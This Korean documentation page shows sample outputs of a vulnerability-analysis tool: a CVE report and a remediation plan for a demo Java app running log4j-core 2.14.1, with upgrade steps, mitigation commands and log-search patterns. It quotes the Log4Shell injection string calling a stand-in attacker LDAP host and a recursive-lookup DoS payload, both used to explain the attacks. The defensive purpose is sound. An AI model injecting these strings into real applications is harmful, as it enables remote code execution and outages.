본문으로 건너뛰기

취약점 산출물 Best Practice

05 도구 챕터에서 생성하는 취약점 분석 산출물 예시입니다. 샘플 프로젝트(java-vulnerable, Log4Shell CVE-2021-44228 포함)를 기준으로 작성된 실제 출력 예시를 확인할 수 있습니다.


취약점 분석 리포트

정보

생성 agent: 05-vulnerability-analyst | 저장 경로: output/vulnerability/cve-report.md


리포트 유형: 취약점 분석 생성일: 2026-03-23 00:00 대상 프로젝트: vulnerable-java-app 1.0.0 사용 도구: OSV API (https://api.osv.dev), Syft 1.42.3


1. 요약

  • SBOM 분석 대상: java-vulnerable.cdx.json (CycloneDX 1.6)
  • 5개 취약점 발견 — 🔴 Critical 2개, 🟠 High 1개, 🟡 Medium 2개
  • log4j-core 2.14.1에서 즉시 조치 필요 Critical 취약점(CVE-2021-44228, CVE-2021-45046) 확인
  • CVE-2021-44228(Log4Shell)은 CVSS 10.0으로 원격 코드 실행(RCE) 가능한 최고 위험 취약점
  • 권장 조치: log4j-corelog4j-api2.17.1 이상으로 즉시 업그레이드

2. 취약점 상세

컴포넌트버전CVECVSS심각도설명수정 버전
log4j-core2.14.1CVE-2021-4422810.0🔴 CriticalLog4Shell: JNDI LDAP를 통한 원격 코드 실행(RCE)2.15.0+
log4j-core2.14.1CVE-2021-450469.0🔴 Critical2.15.0 패치 불완전 — 비기본 설정에서 JNDI RCE 우회 가능2.16.0+
log4j-core2.14.1CVE-2021-451057.5🟠 HighThread Context Map 자기 참조로 인한 무한 재귀(DoS)2.17.0+
log4j-core2.14.1CVE-2021-448326.6🟡 Medium로깅 설정 수정 권한 보유 시 RCE 가능2.17.1+
log4j-core2.14.1CVE-2025-681615.4🟡 MediumSocket Appender TLS 호스트명 검증 미수행2.25.3+
참고

log4j-api 2.14.1은 직접 취약점 없음. log4j-core와 버전을 맞춰 함께 업그레이드 권장.


3. 취약점 상세 설명

🔴 CVE-2021-44228 — Log4Shell (CVSS 10.0)

  • 영향: log4j-core 2.0-beta9 ~ 2.14.1
  • 공격 방식: 공격자가 ${jndi:ldap://attacker.com/exploit} 형태의 문자열을 로그에 주입하면, log4j가 자동으로 외부 LDAP 서버에 연결하여 악성 Java 클래스를 로드·실행
  • 실제 피해: 2021년 12월 발견 직후 전 세계 수백만 서버 대상으로 대규모 악용
  • 즉시 완화: JndiLookup 클래스를 classpath에서 제거
    Bash
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

🔴 CVE-2021-45046 — Log4Shell 우회 (CVSS 9.0)

  • 영향: log4j-core 2.0-beta9 ~ 2.15.0
  • 공격 방식: 2.15.0의 CVE-2021-44228 패치가 비기본 Pattern Layout 설정에서 우회 가능. Thread Context Map 패턴 사용 시 JNDI 공격 재현 가능
  • 조치: 2.16.0으로 업그레이드 (메시지 조회 패턴 제거, JNDI 기본 비활성화)

🟠 CVE-2021-45105 — DoS 취약점 (CVSS 7.5)

  • 영향: log4j-core 2.0-alpha1 ~ 2.16.0
  • 공격 방식: Thread Context Map에 자기 참조 조회(${${::-${::-$${::-j}}}}) 주입 시 무한 재귀로 프로세스 다운(DoS)
  • 조치: 2.17.0으로 업그레이드

🟡 CVE-2021-44832 — 설정 파일 RCE (CVSS 6.6)

  • 영향: log4j-core 2.0-beta7 ~ 2.17.0
  • 공격 방식: 로깅 설정 파일을 수정할 권한이 있는 공격자가 JDBC Appender를 통해 RCE 가능
  • 조치: 2.17.1로 업그레이드. 로깅 설정 파일 접근 권한 제한

🟡 CVE-2025-68161 — TLS 호스트명 미검증 (CVSS 5.4)

  • 영향: log4j-core 2.0-beta9 ~ 2.25.2
  • 공격 방식: Socket Appender 사용 시 원격 서버의 TLS 인증서 호스트명을 검증하지 않아 중간자 공격(MITM) 가능
  • 조치: 2.25.3으로 업그레이드, 또는 Socket Appender 미사용 시 영향 없음

4. 조치사항

즉시 조치 (Critical — 24시간 이내)

  1. log4j-core 2.17.1 이상으로 업그레이드 — 모든 Critical/High 취약점 동시 해소

    XML
    <!-- pom.xml -->
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.1</version>
    </dependency>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.17.1</version>
    </dependency>
  2. 즉시 완화 (업그레이드 전): JndiLookup 클래스 제거

    Bash
    zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

    또는 JVM 옵션 추가:

    -Dlog4j2.formatMsgNoLookups=true

단기 조치 (1주일 이내)

  1. 패키지 재빌드 및 테스트: 업그레이드 후 전체 회귀 테스트 실행
  2. 배포 환경 점검: 운영 중인 모든 서버에서 log4j 버전 확인 및 패치 적용
  3. 침해 흔적(IoC) 확인: ${jndi: 패턴을 로그에서 검색하여 공격 시도 이력 조사

중기 조치 (1개월 이내)

  1. 최신 버전 업그레이드 검토: CVE-2025-68161 해소를 위해 2.25.3+ 업그레이드 계획 수립
  2. SBOM 자동 생성 파이프라인 구축: CI/CD에 Syft/Trivy 통합하여 취약점 조기 탐지

5. 참고 자료


ISO/IEC 18974 §4.3.2 준거 — 알려진 취약점 식별, CVE 위험 점수 평가(CVSS), 취약점 추적 및 상태 관리


취약점 대응 계획 (Remediation Plan)

정보

생성 agent: 05-vulnerability-analyst | 저장 경로: output/vulnerability/remediation-plan.md


리포트 유형: 취약점 대응 계획 생성일: 2026-03-23 00:00 대상 프로젝트: vulnerable-java-app 1.0.0 사용 도구: OSV API, Syft 1.42.3


개요

항목내용
대응 기준ISO/IEC 18974 §4.3.2
총 취약점 수5개 (Critical 2, High 1, Medium 2)
즉시 조치 대상CVE-2021-44228, CVE-2021-45046
목표 완료일Critical: 즉시 / High: 2026-03-30 / Medium: 2026-04-23

단계별 대응 계획

Phase 1 — 즉시 조치 (Critical, 24시간 이내)

목표: Log4Shell(CVE-2021-44228, CVE-2021-45046) 위험 제거

1-A. 즉시 완화 조치 (업그레이드 전 긴급 적용)
Bash
# log4j-core jar에서 JndiLookup 클래스 제거
zip -q -d log4j-core-2.14.1.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class

# 또는 JVM 시작 옵션 추가
# -Dlog4j2.formatMsgNoLookups=true
# -Dlog4j2.disableJndi=true
주의

formatMsgNoLookups=true는 CVE-2021-45046 완전 차단에 충분하지 않음. JndiLookup 제거가 더 안전함.

1-B. 의존성 업그레이드

pom.xml 수정:

XML
<properties>
<!-- 모든 CVE를 해소하는 최소 버전 -->
<log4j.version>2.17.1</log4j.version>
</properties>

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j.version}</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4j.version}</version>
</dependency>
</dependencies>
1-C. 빌드 및 검증
Bash
mvn clean package -DskipTests
# 업그레이드된 버전 확인
mvn dependency:list | grep log4j

# 취약점 재스캔
syft packages . -o cyclonedx-json > output/sbom/java-fixed.cdx.json
# OSV API로 재조회하여 취약점 해소 확인
1-D. 침해 이력 조사 (Forensics)
Bash
# 애플리케이션 로그에서 JNDI 공격 시도 패턴 검색
grep -r '\${jndi:' /var/log/app/ 2>/dev/null
grep -r 'ldap://' /var/log/app/ 2>/dev/null
grep -r '${${' /var/log/app/ 2>/dev/null

Phase 2 — 단기 조치 (High, 2026-03-30까지)

목표: CVE-2021-45105(DoS) 대응 완료, 운영 환경 전체 패치 확인

작업담당자기한
운영 서버 log4j 버전 전수 조사인프라 담당2026-03-25
전 운영 환경 2.17.1 패치 적용인프라 담당2026-03-27
전체 회귀 테스트 실행QA 담당2026-03-29
패치 완료 보고서 작성보안 담당2026-03-30

Phase 3 — 중기 조치 (Medium, 2026-04-23까지)

목표: CVE-2021-44832, CVE-2025-68161 해소 및 재발 방지 체계 구축

작업세부 내용기한
2.25.3+ 업그레이드 평가API 호환성 확인, 테스트 환경 검증2026-04-07
CI/CD 취약점 스캔 통합Trivy 또는 OWASP Dependency-Check 파이프라인 추가2026-04-14
SBOM 자동 생성 연동빌드 시 자동 SBOM 갱신 및 취약점 알림2026-04-21
대응 완료 최종 보고전 항목 해소 확인 및 문서화2026-04-23

취약점 상태 추적

CVE심각도현재 상태목표 상태담당자기한
CVE-2021-44228🔴 Critical미조치해소보안 담당즉시
CVE-2021-45046🔴 Critical미조치해소보안 담당즉시
CVE-2021-45105🟠 High미조치해소인프라 담당2026-03-30
CVE-2021-44832🟡 Medium미조치해소개발 담당2026-04-23
CVE-2025-68161🟡 Medium미조치해소개발 담당2026-04-23

상태 갱신 방법: 패치 적용 후 "미조치" → "해소완료 (YYYY-MM-DD)" 로 업데이트


재발 방지 조치

1. 의존성 버전 정책 수립

XML
<!-- pom.xml — 버전 하한선 강제 (Maven Enforcer Plugin) -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-enforcer-plugin</artifactId>
<configuration>
<rules>
<bannedDependencies>
<excludes>
<exclude>org.apache.logging.log4j:log4j-core:[,2.17.1)</exclude>
</excludes>
</bannedDependencies>
</rules>
</configuration>
</plugin>

2. CI/CD 자동 취약점 스캔

YAML
# GitHub Actions 예시
- name: SBOM 생성
run: syft packages . -o cyclonedx-json > sbom.cdx.json

- name: 취약점 스캔
run: |
trivy sbom sbom.cdx.json --exit-code 1 --severity CRITICAL,HIGH

3. 정기 검토 일정

주기작업
매 빌드 시CI/CD에서 취약점 자동 스캔
매월SBOM 갱신 및 신규 CVE 확인
분기의존성 전체 업그레이드 검토
연간취약점 관리 프로세스 전체 리뷰

ISO/IEC 18974 §4.3.2 준거 근거

요구사항이행 내용증거 산출물
알려진 취약점 식별OSV API를 통한 SBOM 기반 CVE 스캔cve-report.md
취약점 추적 및 상태 관리취약점 상태 추적 테이블 운영본 문서 §취약점 상태 추적
CVE 위험 점수 평가 (CVSS)CVSS 점수 기반 심각도 분류 및 우선순위 결정cve-report.md §2
취약점 대응 및 패치 절차단계별 대응 계획 수립, 담당자 및 기한 명시본 문서 §단계별 대응 계획

본 문서는 ISO/IEC 18974 §4.3.2 요구사항 이행을 위해 생성된 공식 취약점 대응 계획서입니다.